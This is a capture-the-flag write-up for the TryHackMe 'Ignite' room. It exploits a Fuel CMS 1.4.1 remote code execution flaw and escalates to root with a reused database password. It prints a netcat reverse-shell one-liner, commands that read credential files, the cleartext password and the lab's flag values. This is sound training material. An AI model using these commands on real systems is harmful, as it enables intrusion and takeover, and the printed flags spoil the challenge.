TryHackMe - Ignite Writeup

A comprehensive walkthrough for the Ignite room on TryHackMe. This machine demonstrates the exploitation of a Remote Code Execution (RCE) vulnerability in Fuel CMS v1.4.1 (CVE-2018-16763), followed by privilege escalation via hardcoded database credentials. 

Challenge Information

• Target IP: 10.128.143.XX
• Difficulty: Easy
• Platform: TryHackMe

Phase 1: Reconnaissance (Nmap Scanning)

We initiated the assessment by executing an aggressive Nmap scan to discover active ports and structural details about the running services. 

bash

nmap -sC -sV 10.128.143.xx

Key Findings:

• Port 80 (HTTP): Apache httpd 2.4.18 (Running on Ubuntu Linux).
• Robots.txt: Revealed a hidden directory path: /fuel/.
• Application Framework: Fuel CMS is powering the web application.

Phase 2: Vulnerability Research

The Nmap scan revealed an outdated version of Apache and Fuel CMS. A quick search for public exploits indicated that Fuel CMS 1.4.1 is highly vulnerable to Unauthenticated Remote Code Execution (RCE) under CVE-2018-16763. 

We utilized searchsploit locally on Kali Linux to extract the required exploit script: 

bash

searchsploit fuel cms

We copied the specific Python script (47138.py) to our working directory: 

bash

searchsploit -m linux/webapps/47138.py

Phase 3: Weaponization & Exploit Modification

Before execution, we audited and modified the script to align with our target parameters: 

1. Opened the file using nano 47138.py.
2. Located the default target parameter line: url = "http://127.0.0.1:8881".
3. Adjusted the parameter to match our active target IP on the default HTTP port (80): 

python

url = "http://10.128.153.xxx"

4. Saved and exited the file.

Phase 4: Initial Access & Reverse Shell

We executed the exploit script using Python2 to spawn our initial web shell: 

bash

python2 47138.py

Since the spawned cmd: interface provides an unstable and noisy environment, we upgraded to an interactive reverse shell: 

1. Started a standard Netcat listener on our local Kali Linux machine: 

bash

nc -lvnp 4444

2. Triggered a reverse connection payload directly through the exploit interface: 

text

cmd: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.173.xx 4444 >/tmp/f

Phase 5: Credential Harvesting & Privilege Escalation

Upon receiving the incoming shell connection on our local terminal as www-data, we stabilized our environment to create a proper interactive TTY session: 

bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

Internal Enumeration:

We inspected the application's configuration parameters to find any hardcoded credentials inside the database architecture file: 

bash

cat /var/www/html/fuel/application/config/database.php

Inside the file, we exposed the following clean-text parameters for the database configuration: 

• Username: root
• Password: mememe

Root Takeover:

Assuming potential credential reuse across administrative accounts on the operating system, we attempted an interactive profile change: 

bash

su root

We supplied the password mememe when prompted, successfully elevating our status directly to root. 

Phase 6: Flag Recovery

User Flag

Instead of the standard user.txt layout, enumeration indicated that the initial target objective was saved under an alternate naming convention. We located the file using the local indexing engine: 

bash

locate flag.txt

cat /home/www-data/flag.txt

• User Flag (flag.txt): 6470e394cbf6dab6a91682cc8585059b

Root Flag

With administrative access fully established, we accessed the primary user profile space to print out the final target verification string: 

bash

cd /root

cat root.txt

• Root Flag (root.txt): b9bbcb33e11b80be759c4e844862482d

Summary of Findings

1. Target Vulnerability: Fuel CMS 1.4.1 - Remote Code Execution (CVE-2018-16763)
2. Exploitation Binary: linux/webapps/47138.py
3. Privilege Escalation Vector: Cleartext Password Reuse (mememe)
4. User Flag Value: 6470e394cbf6dab6a91682cc8585059b
5. Root Flag Value: b9bbcb33e11b80be759c4e844862482d

Lab Defeated and Completed! 🏁